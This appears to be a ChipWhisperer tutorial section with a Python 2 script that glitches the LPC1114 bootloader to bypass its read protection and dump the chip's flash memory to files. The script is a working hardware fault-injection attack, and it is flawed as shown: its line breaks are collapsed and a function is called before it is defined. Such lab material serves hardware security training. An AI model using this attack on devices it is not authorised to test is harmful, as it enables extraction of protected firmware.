== Stopping Glitch when Success & Dumping Memory ==
The easiest way to fully automate the breaking/dumping process is to use ChipWhisperer entirely without the GUI. This involves making a loop running through what you would normally do in the GUI (so resetting, arming the scope, setting up the bootloader, etc). An example script that breaks the bootloader and dumps the flash memory in various formats (UU encoded, binary, and ASCII encoded) is shown below. This script is also much faster than the GUI, so it much better for breaking the bootloader as well.
TODO<syntaxhighlight lang="python">"""Script to break LPC1114 bootloader and dump flash in files For use without the CW GUI""" import sysimport binascii #disable printing when glitch stuff is changedfrom chipwhisperer.common.utils.parameter import ParameterParameter.printParameterPath = False import timeimport loggingimport osfrom collections import namedtupleimport numpy as npimport chipwhisperer as cw logging.basicConfig(level=logging.NOTSET)scope = cw.scope()target = cw.target(scope)#Create and register glitcher #Initial Setupscope.adc.samples = 10000scope.adc.offset = 0scope.clock.adc_src = "clkgen_x1"scope.trigger.triggers = "tio3"scope.io.glitch_lp = Truescope.io.hs2 = None scope.glitch.width = 40scope.io.tio1 = "serial_rx"scope.io.tio2 = "serial_tx"scope.adc.basic_mode = "rising_edge"scope.clock.clkgen_freq = 100000000scope.glitch.clk_src = "clkgen"scope.glitch.trigger_src = "ext_single"scope.glitch.output = "enable_only" target.baud = 38400target.key_cmd = ""target.go_cmd = ""target.output_cmd = "" # Glitcherclass LPC_glitch(object): def __init__(self, scope, target): self.scope = scope self.target = target self.serial = target.ser def setup_bootloader(self, delay = 0.05): self.serial.flush() self.serial.write("?") #wait for full response, since we need to make sure we don't throw off baud calc self.read_line(0) self.serial.write("Synchronized\r\n") self.read_line(10) self.read_line(10) self.serial.write("12000\r\n") self.read_line(10) self.read_line(10) self.serial.write("A 0\r\n") #turn echo off self.read_line(10) self.serial.flush() def check_err_rtn(self, s): if "0" in s: return True else: #sometimes reading the error code fails for some reason, so don't do anything #about these unexpected returns if "19" not in s: print "Unexpected error code " + s return False def get_read_string(self, timeout = 10): self.serial.write("R 0 4\r\n") return self.read_line(timeout) ''' read flash in rd_len byte increments and store in uu, binary, and ascii files NOTE: rd_len should be chosen so that it is less than 45 bytes (since we can only handle 1 line at a time) and uu to binary is a whole number (ie rd_len * 4 / 3 is a whole number), as the decode doesn't like padding bytes start_addr and length must be 4 byte aligned (so divisible by 4) If unsure, just use the defaults ''' def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24): if start_addr % 4: print "Address not 4 byte aligned!" return -1 if length % 4: print "Length not 4 byte aligned!" return -1 #eat data return and checksum self.read_line() self.read_line() self.serial.write("OK\r\n") time.sleep(0.1) uu_file = open("uu_flash.txt", "w") ascii_file = open("ascii_flash.txt", "w") bin_file = open("bin_flash.bin", "wb") print "Doing loop" for i in range(start_addr, start_addr + length - 1, rd_len): self.serial.write("R {:d} {:d}\r\n".format(i, rd_len)) err = self.read_line() #only checking addr errors at this point if "13" in err: #addr err print "addr error: addr = {:d}".format(i) return -1 flash = self.read_line(0) data_len = ord(flash[0]) - 32 if rd_len != data_len: print "Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len) print "Actual flash: " + flash # Bootloader uses ` instead of space for 0 data = flash.replace('`', " ") checksum = self.read_line() #eat checksum for now, can check it later self.serial.write("OK\r\n") try: uu_file.write("0x{:08x}: ".format(i) + data + "\n") binary_data = binascii.a2b_uu(data) bin_file.write(binary_data) ascii_file.write("0x{:08x}: ".format(i) + binascii.hexlify(binary_data) + "\n") except binascii.Error, e: print "Invalid data: " + data print "\nError: " + str(e) + "\n" uu_file.close() ascii_file.close() return 0 def read_line(self, timeout = 10, term = '\n'): ch = " " s = "" while ch != "\n" and ch != "": ch = self.serial.read(1, timeout) s += ch return s def rst_low(self): self.scope.io.nrst = 'low' def rst_high(self): self.scope.io.nrst = 'high' glitcher = LPC_glitch(scope, target) Range = namedtuple("Range", ["min", "max", "step"])offset_range = Range(5180, 5183, 1)repeat_range = Range(9, 13, 1) scope.glitch.repeat = repeat_range.minprint "Entering glitch loop" # it may take quite a few cycles to get a glitch, so just attempt until we get itwhile True: scope.glitch.ext_offset = offset_range.min if scope.glitch.repeat >= repeat_range.max: scope.glitch.repeat = repeat_range.min while scope.glitch.ext_offset < offset_range.max: glitcher.rst_low() scope.arm() glitcher.rst_high() timeout = 50 while target.isDone() is False: timeout -= 1 time.sleep(0.01) glitcher.setup_bootloader() s = glitcher.get_read_string() print "Read string: " + s print "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat) if glitcher.check_err_rtn(s): print "Success!" glitcher.dump_flash() cleanup_exit() scope.glitch.ext_offset += offset_range.step scope.glitch.repeat += repeat_range.step cleanup_exit() def cleanup_exit(): scope.dis() target.dis() exit() </syntaxhighlight>